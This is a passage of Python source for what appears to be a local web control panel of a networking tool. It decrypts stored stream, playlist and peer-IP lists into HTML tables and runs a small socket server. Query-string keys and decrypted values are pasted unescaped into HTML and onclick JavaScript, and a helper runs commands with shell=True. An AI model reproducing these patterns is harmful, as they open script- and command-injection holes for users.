  7610. self.pages["/cmd_decrypt_links_update"] = "<pre>"+f.read()+"<pre>"
  7611. if page == "/cmd_decrypt_streams":
  7612. self.pages["/cmd_decrypt_streams"] = "<pre>Waiting for decrypting results...</pre>"
  7613. try:
  7614. stream_deckey = pGet["stream_deckey"]
  7615. except:
  7616. stream_deckey = ""
  7617. end_mark = "[Info] [AI] End of decryption."
  7618. if stream_deckey != "": # streams decryption
  7619. nodec_text = "This STREAM cannot be solved with that KEY..."
  7620. streams_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('creation','"+str(stream_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_topic' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('topic','"+str(stream_deckey)+"')>TOPIC:</a></td><td align='center'><a id='filter_url' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('url','"+str(stream_deckey)+"')>STREAM:</a></td><td align='center'>VIDEO:</td></tr>"
  7621. f = open("/tmp/out", "w")
  7622. self.list_streams_rev = reversed(self.list_streams) # order by DESC
  7623. stream_num = 0
  7624. for m in self.list_streams_rev: # list = creation, topic, url
  7625. if streams_msg_sep in m:
  7626. m = m.split(streams_msg_sep)
  7627. stream_creation = m[0] # creation date
  7628. self.decrypt(stream_deckey, stream_creation)
  7629. if self.decryptedtext:
  7630. stream_creation = self.decryptedtext
  7631. else:
  7632. stream_creation = nodec_text
  7633. self.decryptedtext = "" # clean decryptedtext buffer
  7634. stream_url = m[1] # url
  7635. self.decrypt(stream_deckey, stream_url)
  7636. if self.decryptedtext:
  7637. stream_url = self.decryptedtext
  7638. if stream_url.startswith("www."):
  7639. stream_url = stream_url.replace("www.","")
  7640. else:
  7641. stream_url = nodec_text
  7642. self.decryptedtext = "" # clean decryptedtext buffer
  7643. stream_topic = m[2] # topic
  7644. self.decrypt(stream_deckey, stream_topic)
  7645. if self.decryptedtext:
  7646. stream_topic = self.decryptedtext
  7647. else:
  7648. stream_topic = nodec_text
  7649. self.decryptedtext = "" # clean decryptedtext buffer
  7650. stream_id = str(stream_url.split("v=")[1]) # extract (Youtube) VideoID
  7651. stream_num = stream_num + 1
  7652. else:
  7653. stream_creation = nodec_text
  7654. stream_url = nodec_text
  7655. stream_topic = nodec_text
  7656. stream_id = None
  7657. if stream_creation == nodec_text:
  7658. streams_table += "<tr><td align='center'>KEY?</td><td align='center'>"+nodec_text+"</td><td align='center'>KEY?</td><td align='center'>KEY?</td></tr>"
  7659. else:
  7660. streams_table += "<tr><td align='center'>"+stream_creation+"</td><td align='center'>"+stream_topic+"</td><td align='center'><a href='"+str(stream_url)+"' target='_blank'>"+str(stream_url)+"</a></td><td align='center'><button id='play_button_"+str(stream_num)+"' value='"+str(stream_id)+"' onclick='PlayStream("+str(stream_num)+");return false;'>PLAY!</button><div id='video_"+str(stream_num)+"'></div></td></tr>"
  7661. streams_table += "</table><br>"
  7662. f.write(streams_table)
  7663. f.write(end_mark)
  7664. f.close()
  7665. if page == "/cmd_decrypt_streams_update":
  7666. if not os.path.exists('/tmp/out'):
  7667. open('/tmp/out', 'w').close()
  7668. with open('/tmp/out', 'r') as f:
  7669. self.pages["/cmd_decrypt_streams_update"] = "<pre>"+f.read()+"<pre>"
  7670. if page == "/cmd_decrypt_tv":
  7671. self.pages["/cmd_decrypt_tv"] = "<pre>Waiting for decrypting results...</pre>"
  7672. try:
  7673. tv_deckey = pGet["tv_deckey"]
  7674. except:
  7675. tv_deckey = ""
  7676. end_mark = "[Info] [AI] End of decryption."
  7677. if tv_deckey != "": # tv decryption
  7678. nodec_text = "*** [This TV.PEER cannot be solved with that KEY...]"
  7679. self.playlist = []
  7680. self.list_tv_rev = reversed(self.list_tv) # order by DESC
  7681. if self.list_tv:
  7682. tv_table = '<table cellpadding="35" cellspacing="35" border="1"><tr><td><u>PLAYLIST:</u><br><br><ul>'
  7683. else:
  7684. tv_table = '<table border="0"><tr><td>Never connected to any feed...</u><ul>'
  7685. f = open("/tmp/out", "w")
  7686. tv_num = 0
  7687. self.playing_title = ""
  7688. for n in self.list_tv_rev: # list = url
  7689. url_tv = n # url
  7690. try:
  7691. self.decrypt(tv_deckey, url_tv)
  7692. if self.decryptedtext:
  7693. url_tv = self.decryptedtext
  7694. if url_tv != "1": # black magic!
  7695. self.playlist.append(url_tv)
  7696. else:
  7697. url_tv = nodec_text
  7698. else:
  7699. url_tv = nodec_text
  7700. except:
  7701. url_tv = nodec_text
  7702. self.decryptedtext = "" # clean decryptedtext buffer
  7703. if url_tv != nodec_text:
  7704. if url_tv.endswith(".ogv"): # remote .ogv
  7705. o = urlparse(url_tv)
  7706. start = '/'
  7707. end = '.ogv'
  7708. s = o.path
  7709. r = re.compile(start+'(.*?)'+end)
  7710. m = r.search(s)
  7711. if m:
  7712. self.playing_title = m.group(1).split("/")[1]
  7713. tv_table += "<table><tr><td>[<a href='#' onclick=PlayTV('"+str(url_tv)+"')>PLAY!</a>]</td><td><a href='"+str(url_tv)+"' target='_blank'>"+str(self.playing_title)+"</a></td></tr></table>"
  7714. else:
  7715. tv_table +="<li>"+str(nodec_text)+"</li>"
  7716. if self.playlist: # random play one video from playlist | autostart - controls - preload - allowfullscreen
  7717. playlist_now = random.choice(self.playlist)
  7718. if playlist_now.endswith(".ogv"): # remote .ogv
  7719. o = urlparse(playlist_now)
  7720. start = '/'
  7721. end = '.ogv'
  7722. s = o.path
  7723. r = re.compile(start+'(.*?)'+end)
  7724. m = r.search(s)
  7725. if m:
  7726. self.playing_title_now = m.group(1).split("/")[1]
  7727. tv_table += "</ul></td></tr><tr><td><u>WATCHING:</u> <a id='tv_a' href='"+str(playlist_now)+"' target='_blank'><label id='tv_p'>"+str(self.playing_title_now)+"</label></a><br><br><video id='player' controls width='100%' height='480' preload='auto' autoplay><source id='tv_stream_source' src='"+str(playlist_now)+"' type='video/ogg' />Sorry, your browser doesn’t support HTML5 media.</video></td></tr></table><br>"
  7728. else:
  7729. tv_table += "</ul></td></tr></table><br>"
  7730. f.write(tv_table)
  7731. f.write(end_mark)
  7732. f.close()
  7733. if page == "/cmd_decrypt_tv_update":
  7734. if not os.path.exists('/tmp/out'):
  7735. open('/tmp/out', 'w').close()
  7736. with open('/tmp/out', 'r') as f:
  7737. self.pages["/cmd_decrypt_tv_update"] = "<pre>"+f.read()+"<pre>"
  7738. if page == "/cmd_decrypt_globalnet":
  7739. self.pages["/cmd_decrypt_globalnet"] = "<pre>Waiting for decrypting results...</pre>"
  7740. try:
  7741. globalnet_deckey = pGet["globalnet_deckey"]
  7742. except:
  7743. globalnet_deckey = ""
  7744. end_mark = "[Info] [AI] End of decryption."
  7745. if globalnet_deckey != "": # globalnet decryption
  7746. nodec_text = "KEY?"
  7747. globalnet_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_owner' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('owner','"+str(globalnet_deckey)+"');>OWNER:</a></td><td align='center'><a id='filter_comment' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('comment','"+str(globalnet_deckey)+"')>COMMENT:</a></td><td align='center'><a id='filter_warp' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('warp','"+str(globalnet_deckey)+"')>WARPING:</a></td><td align='center'><a id='filter_ip' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('ip','"+str(globalnet_deckey)+"')>IP:</a></td></tr>"
  7748. f = open("/tmp/out", "w")
  7749. self.list_globalnet_rev = reversed(self.list_globalnet) # order by DESC
  7750. blackhole_ip_list = [] # used to check for repetitions
  7751. for m in self.list_globalnet_rev: # list = owner, comment, warping, ip
  7752. if globalnet_msg_sep in m:
  7753. m = m.split(globalnet_msg_sep)
  7754. globalnet_owner = m[0] # owner
  7755. self.decrypt(globalnet_deckey, globalnet_owner)
  7756. if self.decryptedtext:
  7757. globalnet_owner = self.decryptedtext
  7758. else:
  7759. globalnet_owner = nodec_text
  7760. self.decryptedtext = "" # clean decryptedtext buffer
  7761. globalnet_comment = m[1] # comment
  7762. self.decrypt(globalnet_deckey, globalnet_comment)
  7763. if self.decryptedtext:
  7764. globalnet_comment = self.decryptedtext
  7765. else:
  7766. globalnet_comment = nodec_text
  7767. self.decryptedtext = "" # clean decryptedtext buffer
  7768. globalnet_warp = m[2] # warp
  7769. self.decrypt(globalnet_deckey, globalnet_warp)
  7770. if self.decryptedtext:
  7771. globalnet_warp = self.decryptedtext
  7772. else:
  7773. globalnet_warp = nodec_text
  7774. if globalnet_warp == "OFF":
  7775. warp_color = "pink"
  7776. elif globalnet_warp == "ON1":
  7777. warp_color = "orange"
  7778. else: # ON2
  7779. warp_color = "blue"
  7780. self.decryptedtext = "" # clean decryptedtext buffer
  7781. globalnet_ip = m[3] # ip
  7782. self.decrypt(globalnet_deckey, globalnet_ip)
  7783. if self.decryptedtext:
  7784. globalnet_ip = self.decryptedtext
  7785. else:
  7786. globalnet_ip = nodec_text
  7787. self.decryptedtext = "" # clean decryptedtext buffer
  7788. if globalnet_ip not in blackhole_ip_list:
  7789. blackhole_ip_list.append(globalnet_ip)
  7790. globalnet_table += "<tr><td align='center'>"+str(globalnet_owner)+"</td><td align='center'>"+str(globalnet_comment)+"</td><td align='center'><font color="+warp_color+">"+str(globalnet_warp)+"</font></td><td align='center'><font color="+warp_color+">"+str(globalnet_ip)+"</font></td></tr>"
  7791. globalnet_table += "</table><br>"
  7792. f.write(globalnet_table)
  7793. f.write(end_mark)
  7794. f.close()
  7795. if page == "/cmd_decrypt_globalnet_update":
  7796. if not os.path.exists('/tmp/out'):
  7797. open('/tmp/out', 'w').close()
  7798. with open('/tmp/out', 'r') as f:
  7799. self.pages["/cmd_decrypt_globalnet_update"] = "<pre>"+f.read()+"<pre>"
  7800. if page == "/blackholes":
  7801. self.pages["/blackholes"] = self.html_blackholes()
  7802. if page == "/requests":
  7803. if pGet=={}:
  7804. self.pages["/requests"] = self.html_requests()
  7805. else:
  7806. self.save_cfg(pGet)
  7807. self.pages["/requests"] = self.html_request_submit()
  7808. if page == "/abduction":
  7809. self.pages["/abduction"] = self.html_abduction()
  7810. if page == "/stats":
  7811. self.pages["/stats"] = self.html_stats()
  7812. if page == "/wormhole":
  7813. self.pages["/wormhole"] = self.pages["/header"] + "<iframe height='100%' width='100%' src='https://webchat.freenode.net'>"
  7814. ctype = "text/html"
  7815. if page.find(".js") != -1:
  7816. ctype = "application/javascript"
  7817. elif page.find(".txt") != -1:
  7818. ctype = "text/plain"
  7819. elif page.find(".ico") != -1:
  7820. ctype = "image/x-icon"
  7821. elif page.find(".png") != -1:
  7822. ctype = "image/png"
  7823. elif page.find(".css") != -1:
  7824. ctype = "text/css"
  7825. if page in self.pages:
  7826. return dict(run=runcmd, code="200 OK", html=self.pages[page], ctype=ctype)
  7827. return dict(run=runcmd, code="404 Error", html="404 Error<br><br>Page not found...", ctype=ctype)
  7828. class Command(object):
  7829. def __init__(self, cmd):
  7830. self.cmd = cmd
  7831. self.process = None
  7832. def run(self, timeout):
  7833. def target():
  7834. self.process = subprocess.Popen(self.cmd, shell=True)
  7835. thread = threading.Thread(target=target)
  7836. thread.start()
  7837. thread.join(timeout)
  7838. if thread.is_alive():
  7839. self.process.terminate()
  7840. thread.join()
  7841. if __name__ == "__main__":
  7842. webbrowser.open('http://127.0.0.1:9999', new=1)
  7843. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  7844. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  7845. tcpsock.bind((host, port))
  7846. while True:
  7847. tcpsock.listen(4)
  7848. (clientsock, (ip, c_port)) = tcpsock.accept()
  7849. newthread = ClientThread(ip, c_port, clientsock)
  7850. newthread.start()